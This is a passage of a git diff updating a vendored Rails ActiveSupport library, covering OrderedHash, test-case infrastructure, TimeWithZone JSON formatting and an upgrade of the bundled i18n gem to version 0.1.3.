+            next unless (key_value_pair.is_a?(Array))
+            ordered_hash[key_value_pair[0]] = key_value_pair[1]
+          end
+
+          return ordered_hash
+        end
+
+        unless (args.size % 2 == 0)
+          raise ArgumentError.new("odd number of arguments for Hash")
+        end
+
+        args.each_with_index do |val, ind|
+          next if (ind % 2 != 0)
+          ordered_hash[val] = args[ind + 1]
+        end
+
+        ordered_hash
+      end
+
+      def initialize_copy(other)
+        super
+        # make a deep copy of keys
+        @keys = other.keys
+      end
+
+      def []=(key, value)
+        @keys << key if !has_key?(key)
+        super
       end
 
       def delete(key)
-        pair = assoc(key)
-        pair ? array_index = index(pair) : nil
-        array_index ? delete_at(array_index).last : nil
+        if has_key? key
+          index = @keys.index(key)
+          @keys.delete_at index
+        end
+        super
+      end
+      
+      def delete_if
+        super
+        sync_keys!
+        self
+      end
+
+      def reject!
+        super
+        sync_keys!
+        self
+      end
+
+      def reject(&block)
+        dup.reject!(&block)
       end
 
       def keys
-        collect { |key, value| key }
+        @keys.dup
       end
 
       def values
-        collect { |key, value| value }
+        @keys.collect { |key| self[key] }
       end
 
       def to_hash
-        returning({}) do |hash|
-          each { |array| hash[array[0]] = array[1] }
-        end
+        self
       end
 
-      def has_key?(k)
-        !assoc(k).nil?
+      def to_a
+        @keys.map { |key| [ key, self[key] ] }
       end
 
-      alias_method :key?, :has_key?
-      alias_method :include?, :has_key?
-      alias_method :member?, :has_key?
-
-      def has_value?(v)
-        any? { |key, value| value == v }
+      def each_key
+        @keys.each { |key| yield key }
       end
 
-      alias_method :value?, :has_value?
+      def each_value
+        @keys.each { |key| yield self[key]}
+      end
+
+      def each
+        @keys.each {|key| yield [key, self[key]]}
+      end
+
+      alias_method :each_pair, :each
+
+      def clear
+        super
+        @keys.clear
+        self
+      end
+
+      def shift
+        k = @keys.first
+        v = delete(k)
+        [k, v]
+      end
+
+      def merge!(other_hash)
+        other_hash.each {|k,v| self[k] = v }
+        self
+      end
+
+      def merge(other_hash)
+        dup.merge!(other_hash)
+      end
+
+      # When replacing with another hash, the initial order of our keys must come from the other hash -ordered or not.
+      def replace(other)
+        super
+        @keys = other.keys
+        self
+      end
+
+      def inspect
+        "#<OrderedHash #{super}>"
+      end
+
+    private
+
+      def sync_keys!
+        @keys.delete_if {|k| !has_key?(k)}
+      end
     end
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/secure_random.rb b/vendor/rails/activesupport/lib/active_support/secure_random.rb
index 97971e88..cfbce4d7 100644
--- a/vendor/rails/activesupport/lib/active_support/secure_random.rb
+++ b/vendor/rails/activesupport/lib/active_support/secure_random.rb
@@ -1,8 +1,3 @@
-begin
-  require 'openssl'
-rescue LoadError
-end
-
 begin
   require 'securerandom'
 rescue LoadError
@@ -10,7 +5,7 @@ end
 
 module ActiveSupport
   if defined?(::SecureRandom)
-    # Use Ruby 1.9's SecureRandom library whenever possible.
+    # Use Ruby's SecureRandom library if available.
     SecureRandom = ::SecureRandom # :nodoc:
   else
     # = Secure random number generator interface.
@@ -64,6 +59,13 @@ module ActiveSupport
       def self.random_bytes(n=nil)
         n ||= 16
 
+        unless defined? OpenSSL
+          begin
+            require 'openssl'
+          rescue LoadError
+          end
+        end
+
         if defined? OpenSSL::Random
           return OpenSSL::Random.random_bytes(n)
         end
diff --git a/vendor/rails/activesupport/lib/active_support/test_case.rb b/vendor/rails/activesupport/lib/active_support/test_case.rb
index 197e73b3..bde74faa 100644
--- a/vendor/rails/activesupport/lib/active_support/test_case.rb
+++ b/vendor/rails/activesupport/lib/active_support/test_case.rb
@@ -1,24 +1,40 @@
 require 'test/unit/testcase'
-require 'active_support/testing/default'
-require 'active_support/testing/core_ext/test'
+require 'active_support/testing/setup_and_teardown'
+require 'active_support/testing/assertions'
+require 'active_support/testing/deprecation'
+require 'active_support/testing/declarative'
 
+begin
+  gem 'mocha', ">= 0.9.7"
+  require 'mocha'
+rescue LoadError
+  # Fake Mocha::ExpectationError so we can rescue it in #run. Bleh.
+  Object.const_set :Mocha, Module.new
+  Mocha.const_set :ExpectationError, Class.new(StandardError)
+end
 
 module ActiveSupport
-  class TestCase < Test::Unit::TestCase
-    # test "verify something" do
-    #   ...
-    # end
-    def self.test(name, &block)
-      test_name = "test_#{name.gsub(/\s+/,'_')}".to_sym
-      defined = instance_method(test_name) rescue false
-      raise "#{test_name} is already defined in #{self}" if defined
-      if block_given?
-        define_method(test_name, &block)
-      else
-        define_method(test_name) do
-          flunk "No implementation provided for #{name}"
-        end
+  class TestCase < ::Test::Unit::TestCase
+    if defined? MiniTest
+      Assertion = MiniTest::Assertion
+      alias_method :method_name, :name if method_defined? :name
+      alias_method :method_name, :__name__ if method_defined? :__name__
+    else
+      # TODO: Figure out how to get the Rails::BacktraceFilter into minitest/unit
+      if defined?(Rails) && ENV['BACKTRACE'].nil?
+        require 'rails/backtrace_cleaner'
+        Test::Unit::Util::BacktraceFilter.module_eval { include Rails::BacktraceFilterForTestUnit }
       end
+
+      Assertion = Test::Unit::AssertionFailedError
+
+      require 'active_support/testing/default'
+      include ActiveSupport::Testing::Default
     end
+
+    include ActiveSupport::Testing::SetupAndTeardown
+    include ActiveSupport::Testing::Assertions
+    include ActiveSupport::Testing::Deprecation
+    extend ActiveSupport::Testing::Declarative
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb b/vendor/rails/activesupport/lib/active_support/testing/assertions.rb
similarity index 63%
rename from vendor/rails/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb
rename to vendor/rails/activesupport/lib/active_support/testing/assertions.rb
index e5853bf8..ca51adba 100644
--- a/vendor/rails/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb
+++ b/vendor/rails/activesupport/lib/active_support/testing/assertions.rb
@@ -1,9 +1,5 @@
-require 'test/unit/assertions'
-module Test
-  module Unit
-    #--
-    # FIXME: no Proc#binding in Ruby 2, must change this API
-    #++
+module ActiveSupport
+  module Testing
     module Assertions
       # Test numeric difference between the return value of an expression as a result of what is evaluated
       # in the yielded block.
@@ -35,20 +31,17 @@ module Test
       #   assert_difference 'Article.count', -1, "An Article should be destroyed" do
       #     post :delete, :id => ...
       #   end
-      def assert_difference(expressions, difference = 1, message = nil, &block)
-        expression_evaluations = Array(expressions).map do |expression|
-          [expression, lambda do
-            eval(expression, block.__send__(:binding))
-          end]
-        end
+      def assert_difference(expression, difference = 1, message = nil, &block)
+        b = block.send(:binding)
+        exps = Array.wrap(expression)
+        before = exps.map { |e| eval(e, b) }
 
-        original_values = expression_evaluations.inject([]) { |memo, expression| memo << expression[1].call }
         yield
-        expression_evaluations.each_with_index do |expression, i|
-          full_message = ""
-          full_message << "#{message}.\n" if message
-          full_message << "<#{expression[0]}> was the expression that failed"
-          assert_equal original_values[i] + difference, expression[1].call, full_message
+
+        exps.each_with_index do |e, i|
+          error = "#{e.inspect} didn't change by #{difference}"
+          error = "#{message}.\n#{error}" if message
+          assert_equal(before[i] + difference, eval(e, b), error)
         end
       end
 
@@ -64,8 +57,8 @@ module Test
       #   assert_no_difference 'Article.count', "An Article should not be destroyed" do
       #     post :create, :article => invalid_attributes
       #   end
-      def assert_no_difference(expressions, message = nil, &block)
-        assert_difference expressions, 0, message, &block
+      def assert_no_difference(expression, message = nil, &block)
+        assert_difference expression, 0, message, &block
       end
     end
   end
diff --git a/vendor/rails/activesupport/lib/active_support/testing/core_ext/test.rb b/vendor/rails/activesupport/lib/active_support/testing/core_ext/test.rb
deleted file mode 100644
index d3f38f0b..00000000
--- a/vendor/rails/activesupport/lib/active_support/testing/core_ext/test.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require 'active_support/testing/core_ext/test/unit/assertions'
-require 'active_support/testing/setup_and_teardown'
-
-class Test::Unit::TestCase #:nodoc:
-  include ActiveSupport::Testing::SetupAndTeardown
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/testing/declarative.rb b/vendor/rails/activesupport/lib/active_support/testing/declarative.rb
new file mode 100644
index 00000000..cb6a5844
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/testing/declarative.rb
@@ -0,0 +1,21 @@
+module ActiveSupport
+  module Testing
+    module Declarative
+      # test "verify something" do
+      #   ...
+      # end
+      def test(name, &block)
+        test_name = "test_#{name.gsub(/\s+/,'_')}".to_sym
+        defined = instance_method(test_name) rescue false
+        raise "#{test_name} is already defined in #{self}" if defined
+        if block_given?
+          define_method(test_name, &block)
+        else
+          define_method(test_name) do
+            flunk "No implementation provided for #{name}"
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/testing/deprecation.rb b/vendor/rails/activesupport/lib/active_support/testing/deprecation.rb
new file mode 100644
index 00000000..2271caf8
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/testing/deprecation.rb
@@ -0,0 +1,57 @@
+require "active_support/core_ext/module"
+
+module ActiveSupport
+  module Testing
+    module Deprecation #:nodoc:
+      def assert_deprecated(match = nil, &block)
+        result, warnings = collect_deprecations(&block)
+        assert !warnings.empty?, "Expected a deprecation warning within the block but received none"
+        if match
+          match = Regexp.new(Regexp.escape(match)) unless match.is_a?(Regexp)
+          assert warnings.any? { |w| w =~ match }, "No deprecation warning matched #{match}: #{warnings.join(', ')}"
+        end
+        result
+      end
+
+      def assert_not_deprecated(&block)
+        result, deprecations = collect_deprecations(&block)
+        assert deprecations.empty?, "Expected no deprecation warning within the block but received #{deprecations.size}: \n  #{deprecations * "\n  "}"
+        result
+      end
+
+      private
+        def collect_deprecations
+          old_behavior = ActiveSupport::Deprecation.behavior
+          deprecations = []
+          ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
+            deprecations << message
+          end
+          result = yield
+          [result, deprecations]
+        ensure
+          ActiveSupport::Deprecation.behavior = old_behavior
+        end
+    end
+  end
+end
+
+begin
+  require 'test/unit/error'
+
+  module Test
+    module Unit
+      class Error # :nodoc:
+        # Silence warnings when reporting test errors.
+        def message_with_silenced_deprecation
+          ActiveSupport::Deprecation.silence do
+            message_without_silenced_deprecation
+          end
+        end
+
+        alias_method_chain :message, :silenced_deprecation
+      end
+    end
+  end
+rescue LoadError
+  # Using miniunit, ignore.
+end
diff --git a/vendor/rails/activesupport/lib/active_support/testing/performance.rb b/vendor/rails/activesupport/lib/active_support/testing/performance.rb
index bd136c25..f8d12e82 100644
--- a/vendor/rails/activesupport/lib/active_support/testing/performance.rb
+++ b/vendor/rails/activesupport/lib/active_support/testing/performance.rb
@@ -12,7 +12,7 @@ module ActiveSupport
         if benchmark = ARGV.include?('--benchmark')  # HAX for rake test
           { :benchmark => true,
             :runs => 4,
-            :metrics => [:process_time, :memory, :objects, :gc_runs, :gc_time],
+            :metrics => [:wall_time, :memory, :objects, :gc_runs, :gc_time],
             :output => 'tmp/performance' }
         else
           { :benchmark => false,
diff --git a/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb b/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb
index a514b61f..aaf9f8f4 100644
--- a/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb
+++ b/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb
@@ -1,119 +1,90 @@
+require 'active_support/callbacks'
+
 module ActiveSupport
   module Testing
     module SetupAndTeardown
-      # For compatibility with Ruby < 1.8.6
-      PASSTHROUGH_EXCEPTIONS =
-        if defined?(Test::Unit::TestCase::PASSTHROUGH_EXCEPTIONS)
-          Test::Unit::TestCase::PASSTHROUGH_EXCEPTIONS
-        else
-          [NoMemoryError, SignalException, Interrupt, SystemExit]
-        end
-
       def self.included(base)
         base.class_eval do
           include ActiveSupport::Callbacks
           define_callbacks :setup, :teardown
 
-          if defined?(::Mini)
-            undef_method :run
-            alias_method :run, :run_with_callbacks_and_miniunit
+          if defined?(MiniTest::Assertions) && TestCase < MiniTest::Assertions
+            include ForMiniTest
           else
-            begin
-              require 'mocha'
-              undef_method :run
-              alias_method :run, :run_with_callbacks_and_mocha
-            rescue LoadError
-              undef_method :run
-              alias_method :run, :run_with_callbacks_and_testunit
-            end
+            include ForClassicTestUnit
           end
         end
       end
 
-      def run_with_callbacks_and_miniunit(runner)
-        result = '.'
-        begin
-          run_callbacks :setup
-          result = super
-        rescue Exception => e
-          result = runner.puke(self.class, self.name, e)
-        ensure
-          begin
-            teardown
-            run_callbacks :teardown, :enumerator => :reverse_each
-          rescue Exception => e
-            result = runner.puke(self.class, self.name, e)
-          end
-        end
-        result
-      end
-
-      # This redefinition is unfortunate but test/unit shows us no alternative.
-      def run_with_callbacks_and_testunit(result) #:nodoc:
-        return if @method_name.to_s == "default_test"
-
-        yield(Test::Unit::TestCase::STARTED, name)
-        @_result = result
-        begin
-          run_callbacks :setup
-          setup
-          __send__(@method_name)
-        rescue Test::Unit::AssertionFailedError => e
-          add_failure(e.message, e.backtrace)
-        rescue *PASSTHROUGH_EXCEPTIONS
-          raise
-        rescue Exception
-          add_error($!)
-        ensure
-          begin
-            teardown
-            run_callbacks :teardown, :enumerator => :reverse_each
-          rescue Test::Unit::AssertionFailedError => e
-            add_failure(e.message, e.backtrace)
-          rescue *PASSTHROUGH_EXCEPTIONS
-            raise
-          rescue Exception
-            add_error($!)
-          end
-        end
-        result.add_run
-        yield(Test::Unit::TestCase::FINISHED, name)
-      end
-
-      # Doubly unfortunate: mocha does the same so we have to hax their hax.
-      def run_with_callbacks_and_mocha(result)
-        return if @method_name.to_s == "default_test"
-
-        yield(Test::Unit::TestCase::STARTED, name)
-        @_result = result
-        begin
-          mocha_setup
+      module ForMiniTest
+        def run(runner)
+          result = '.'
           begin
             run_callbacks :setup
-            setup
-            __send__(@method_name)
-            mocha_verify { add_assertion }
-          rescue Mocha::ExpectationError => e
-            add_failure(e.message, e.backtrace)
-          rescue Test::Unit::AssertionFailedError => e
-            add_failure(e.message, e.backtrace)
-          rescue StandardError, ScriptError
-            add_error($!)
+            result = super
+          rescue Exception => e
+            result = runner.puke(self.class, self.name, e)
           ensure
             begin
-              teardown
               run_callbacks :teardown, :enumerator => :reverse_each
-            rescue Test::Unit::AssertionFailedError => e
-              add_failure(e.message, e.backtrace)
-            rescue StandardError, ScriptError
-              add_error($!)
+            rescue Exception => e
+              result = runner.puke(self.class, self.name, e)
             end
           end
-        ensure
-          mocha_teardown
+          result
+        end
+      end
+
+      module ForClassicTestUnit
+        # For compatibility with Ruby < 1.8.6
+        PASSTHROUGH_EXCEPTIONS = Test::Unit::TestCase::PASSTHROUGH_EXCEPTIONS rescue [NoMemoryError, SignalException, Interrupt, SystemExit]
+
+        # This redefinition is unfortunate but test/unit shows us no alternative.
+        # Doubly unfortunate: hax to support Mocha's hax.
+        def run(result)
+          return if @method_name.to_s == "default_test"
+
+          if using_mocha = respond_to?(:mocha_verify)
+            assertion_counter_klass = if defined?(Mocha::TestCaseAdapter::AssertionCounter)
+                                        Mocha::TestCaseAdapter::AssertionCounter
+                                      else
+                                        Mocha::Integration::TestUnit::AssertionCounter
+                                      end
+            assertion_counter = assertion_counter_klass.new(result)
+          end
+
+          yield(Test::Unit::TestCase::STARTED, name)
+          @_result = result
+          begin
+            begin
+              run_callbacks :setup
+              setup
+              __send__(@method_name)
+              mocha_verify(assertion_counter) if using_mocha
+            rescue Mocha::ExpectationError => e
+              add_failure(e.message, e.backtrace)
+            rescue Test::Unit::AssertionFailedError => e
+              add_failure(e.message, e.backtrace)
+            rescue Exception => e
+              raise if PASSTHROUGH_EXCEPTIONS.include?(e.class)
+              add_error(e)
+            ensure
+              begin
+                teardown
+                run_callbacks :teardown, :enumerator => :reverse_each
+              rescue Test::Unit::AssertionFailedError => e
+                add_failure(e.message, e.backtrace)
+              rescue Exception => e
+                raise if PASSTHROUGH_EXCEPTIONS.include?(e.class)
+                add_error(e)
+              end
+            end
+          ensure
+            mocha_teardown if using_mocha
+          end
+          result.add_run
+          yield(Test::Unit::TestCase::FINISHED, name)
         end
-        result.add_run
-        yield(Test::Unit::TestCase::FINISHED, name)
       end
     end
   end
diff --git a/vendor/rails/activesupport/lib/active_support/time_with_zone.rb b/vendor/rails/activesupport/lib/active_support/time_with_zone.rb
index a02cd81f..2e5a2332 100644
--- a/vendor/rails/activesupport/lib/active_support/time_with_zone.rb
+++ b/vendor/rails/activesupport/lib/active_support/time_with_zone.rb
@@ -1,4 +1,5 @@
 require 'tzinfo'
+
 module ActiveSupport
   # A Time-like class that can represent a time in any time zone. Necessary because standard Ruby Time instances are
   # limited to UTC and the system's <tt>ENV['TZ']</tt> zone.
@@ -98,28 +99,33 @@ module ActiveSupport
       "#{time.strftime('%a, %d %b %Y %H:%M:%S')} #{zone} #{formatted_offset}"
     end
 
-    def xmlschema
-      "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{formatted_offset(true, 'Z')}"
+    def xmlschema(fraction_digits = 0)
+      fraction = if fraction_digits > 0
+        ".%i" % time.usec.to_s[0, fraction_digits]
+      end
+
+      "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{fraction}#{formatted_offset(true, 'Z')}"
     end
     alias_method :iso8601, :xmlschema
 
-    # Returns a JSON string representing the TimeWithZone. If ActiveSupport.use_standard_json_time_format is set to
-    # true, the ISO 8601 format is used.
+    # Coerces the date to a string for JSON encoding.
     #
-    # ==== Examples:
+    # ISO 8601 format is used if ActiveSupport::JSON::Encoding.use_standard_json_time_format is set.
     #
-    #   # With ActiveSupport.use_standard_json_time_format = true
+    # ==== Examples
+    #
+    #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
     #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
     #   # => "2005-02-01T15:15:10Z"
     #
-    #   # With ActiveSupport.use_standard_json_time_format = false
+    #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
     #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
     #   # => "2005/02/01 15:15:10 +0000"
-    def to_json(options = nil)
-      if ActiveSupport.use_standard_json_time_format
-        xmlschema.inspect
+    def as_json(options = nil)
+      if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+        xmlschema
       else
-        %("#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)}")
+        %(#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
       end
     end
 
@@ -150,6 +156,7 @@ module ActiveSupport
         "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby 1.9 Time#to_s format
       end
     end
+    alias_method :to_formatted_s, :to_s
 
     # Replaces <tt>%Z</tt> and <tt>%z</tt> directives with +zone+ and +formatted_offset+, respectively, before passing to
     # Time#strftime, so that zone information is correct
@@ -198,7 +205,7 @@ module ActiveSupport
       # If we're subtracting a Duration of variable length (i.e., years, months, days), move backwards from #time,
       # otherwise move backwards #utc, for accuracy when moving across DST boundaries
       if other.acts_like?(:time)
-        utc - other
+        utc.to_f - other.to_f
       elsif duration_of_variable_length?(other)
         method_missing(:-, other)
       else
@@ -224,7 +231,7 @@ module ActiveSupport
     def advance(options)
       # If we're advancing a value of variable length (i.e., years, weeks, months, days), advance from #time,
       # otherwise advance from #utc, for accuracy when moving across DST boundaries
-      if options.detect {|k,v| [:years, :weeks, :months, :days].include? k}
+      if options.values_at(:years, :weeks, :months, :days).any?
         method_missing(:advance, options)
       else
         utc.advance(options).in_time_zone(time_zone)
@@ -233,9 +240,9 @@ module ActiveSupport
 
     %w(year mon month day mday wday yday hour min sec to_date).each do |method_name|
       class_eval <<-EOV
-        def #{method_name}
-          time.#{method_name}
-        end
+        def #{method_name}     # def year
+          time.#{method_name}  #   time.year
+        end                    # end
       EOV
     end
 
@@ -322,7 +329,7 @@ module ActiveSupport
       end
 
       def duration_of_variable_length?(obj)
-        ActiveSupport::Duration === obj && obj.parts.flatten.detect {|p| [:years, :months, :days].include? p }
+        ActiveSupport::Duration === obj && obj.parts.any? {|p| [:years, :months, :days].include? p[0] }
       end
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/values/time_zone.rb b/vendor/rails/activesupport/lib/active_support/values/time_zone.rb
index 1d87fa64..836f469d 100644
--- a/vendor/rails/activesupport/lib/active_support/values/time_zone.rb
+++ b/vendor/rails/activesupport/lib/active_support/values/time_zone.rb
@@ -288,6 +288,7 @@ module ActiveSupport
 
     # TODO: Preload instead of lazy load for thread safety
     def tzinfo
+      require 'tzinfo' unless defined?(TZInfo)
       @tzinfo ||= TZInfo::Timezone.get(MAPPING[name])
     end
 
diff --git a/vendor/rails/activesupport/lib/active_support/vendor.rb b/vendor/rails/activesupport/lib/active_support/vendor.rb
index 23ceeb13..cf2af4a1 100644
--- a/vendor/rails/activesupport/lib/active_support/vendor.rb
+++ b/vendor/rails/activesupport/lib/active_support/vendor.rb
@@ -6,17 +6,12 @@ begin
 rescue Gem::LoadError
   $:.unshift "#{File.dirname(__FILE__)}/vendor/builder-2.1.2"
 end
+require 'builder'
 
 begin
-  gem 'xml-simple', '~> 1.0.11'
+  gem 'memcache-client', '>= 1.7.4'
 rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/vendor/xml-simple-1.0.11"
-end
-
-begin
-  gem 'memcache-client', '~> 1.5.1'
-rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/vendor/memcache-client-1.5.1"
+  $:.unshift "#{File.dirname(__FILE__)}/vendor/memcache-client-1.7.4"
 end
 
 begin
@@ -25,10 +20,9 @@ rescue Gem::LoadError
   $:.unshift "#{File.dirname(__FILE__)}/vendor/tzinfo-0.3.12"
 end
 
-# TODO I18n gem has not been released yet
-# begin
-#   gem 'i18n', '~> 0.0.1'
-# rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/vendor/i18n-0.0.1"
-  require 'i18n'
-# end
\ No newline at end of file
+begin
+  gem 'i18n', '>= 0.1.3'
+rescue Gem::LoadError
+  $:.unshift "#{File.dirname(__FILE__)}/vendor/i18n-0.1.3/lib"
+end
+require 'i18n'
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE
new file mode 100755
index 00000000..ed8e9ee6
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2008 The Ruby I18n team
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/README.textile b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/README.textile
new file mode 100644
index 00000000..a07fc842
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/README.textile
@@ -0,0 +1,20 @@
+h1. Ruby I18n gem
+
+I18n and localization solution for Ruby.
+
+For information please refer to http://rails-i18n.org
+
+h2. Authors
+
+* "Matt Aimonetti":http://railsontherun.com
+* "Sven Fuchs":http://www.artweb-design.de
+* "Joshua Harvey":http://www.workingwithrails.com/person/759-joshua-harvey
+* "Saimon Moore":http://saimonmoore.net
+* "Stephan Soller":http://www.arkanis-development.de
+
+h2. License
+
+MIT License. See the included MIT-LICENCE file.
+
+
+
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/Rakefile b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/Rakefile
new file mode 100644
index 00000000..2164e13e
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/Rakefile
@@ -0,0 +1,5 @@
+task :default => [:test]
+
+task :test do
+  ruby "test/all.rb"
+end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/i18n.gemspec b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/i18n.gemspec
new file mode 100644
index 00000000..f102689a
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/i18n.gemspec
@@ -0,0 +1,27 @@
+Gem::Specification.new do |s|
+  s.name = "i18n"
+  s.version = "0.1.3"
+  s.date = "2009-01-09"
+  s.summary = "Internationalization support for Ruby"
+  s.email = "rails-i18n@googlegroups.com"
+  s.homepage = "http://rails-i18n.org"
+  s.description = "Add Internationalization support to your Ruby application."
+  s.has_rdoc = false
+  s.authors = ['Sven Fuchs', 'Joshua Harvey', 'Matt Aimonetti', 'Stephan Soller', 'Saimon Moore']
+  s.files = [
+    'i18n.gemspec',
+    'lib/i18n/backend/simple.rb',
+    'lib/i18n/exceptions.rb',
+    'lib/i18n.rb',
+    'MIT-LICENSE',
+    'README.textile'
+  ]
+  s.test_files = [
+    'test/all.rb',
+    'test/i18n_exceptions_test.rb',
+    'test/i18n_test.rb',
+    'test/locale/en.rb',
+    'test/locale/en.yml',
+    'test/simple_backend_test.rb'
+  ]
+end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n.rb
similarity index 91%
rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n.rb
rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n.rb
index 2ffe3618..76361bed 100755
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n.rb
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n.rb
@@ -2,39 +2,39 @@
 #             Sven Fuchs (http://www.artweb-design.de),
 #             Joshua Harvey (http://www.workingwithrails.com/person/759-joshua-harvey),
 #             Saimon Moore (http://saimonmoore.net),
-#             Stephan Soller (http://www.arkanis-development.de/) 
+#             Stephan Soller (http://www.arkanis-development.de/)
 # Copyright:: Copyright (c) 2008 The Ruby i18n Team
 # License::   MIT
 require 'i18n/backend/simple'
 require 'i18n/exceptions'
 
-module I18n  
+module I18n
   @@backend = nil
   @@load_path = nil
   @@default_locale = :'en'
   @@exception_handler = :default_exception_handler
-    
+
   class << self
     # Returns the current backend. Defaults to +Backend::Simple+.
     def backend
       @@backend ||= Backend::Simple.new
     end
-    
+
     # Sets the current backend. Used to set a custom backend.
-    def backend=(backend) 
+    def backend=(backend)
       @@backend = backend
     end
-  
-    # Returns the current default locale. Defaults to 'en'
+
+    # Returns the current default locale. Defaults to :'en'
     def default_locale
-      @@default_locale 
+      @@default_locale
     end
-    
+
     # Sets the current default locale. Used to set a custom default locale.
-    def default_locale=(locale) 
-      @@default_locale = locale 
+    def default_locale=(locale)
+      @@default_locale = locale
     end
-    
+
     # Returns the current locale. Defaults to I18n.default_locale.
     def locale
       Thread.current[:locale] ||= default_locale
@@ -44,12 +44,17 @@ module I18n
     def locale=(locale)
       Thread.current[:locale] = locale
     end
-    
+
+    # Returns an array of locales for which translations are available
+    def available_locales
+      backend.available_locales
+    end
+
     # Sets the exception handler.
     def exception_handler=(exception_handler)
       @@exception_handler = exception_handler
     end
-    
+
     # Allow clients to register paths providing translation data sources. The
     # backend defines acceptable sources.
     #
@@ -74,25 +79,25 @@ module I18n
     def reload!
       backend.reload!
     end
-    
-    # Translates, pluralizes and interpolates a given key using a given locale, 
+
+    # Translates, pluralizes and interpolates a given key using a given locale,
     # scope, and default, as well as interpolation values.
     #
     # *LOOKUP*
     #
-    # Translation data is organized as a nested hash using the upper-level keys 
-    # as namespaces. <em>E.g.</em>, ActionView ships with the translation: 
+    # Translation data is organized as a nested hash using the upper-level keys
+    # as namespaces. <em>E.g.</em>, ActionView ships with the translation:
     # <tt>:date => {:formats => {:short => "%b %d"}}</tt>.
-    # 
-    # Translations can be looked up at any level of this hash using the key argument 
-    # and the scope option. <em>E.g.</em>, in this example <tt>I18n.t :date</tt> 
+    #
+    # Translations can be looked up at any level of this hash using the key argument
+    # and the scope option. <em>E.g.</em>, in this example <tt>I18n.t :date</tt>
     # returns the whole translations hash <tt>{:formats => {:short => "%b %d"}}</tt>.
-    # 
-    # Key can be either a single key or a dot-separated key (both Strings and Symbols 
+    #
+    # Key can be either a single key or a dot-separated key (both Strings and Symbols
     # work). <em>E.g.</em>, the short format can be looked up using both:
     #   I18n.t 'date.formats.short'
     #   I18n.t :'date.formats.short'
-    # 
+    #
     # Scope can be either a single key, a dot-separated key or an array of keys
     # or dot-separated keys. Keys and scopes can be combined freely. So these
     # examples will all look up the same short date format:
@@ -105,9 +110,9 @@ module I18n
     #
     # Translations can contain interpolation variables which will be replaced by
     # values passed to #translate as part of the options hash, with the keys matching
-    # the interpolation variable names. 
+    # the interpolation variable names.
     #
-    # <em>E.g.</em>, with a translation <tt>:foo => "foo {{bar}}"</tt> the option 
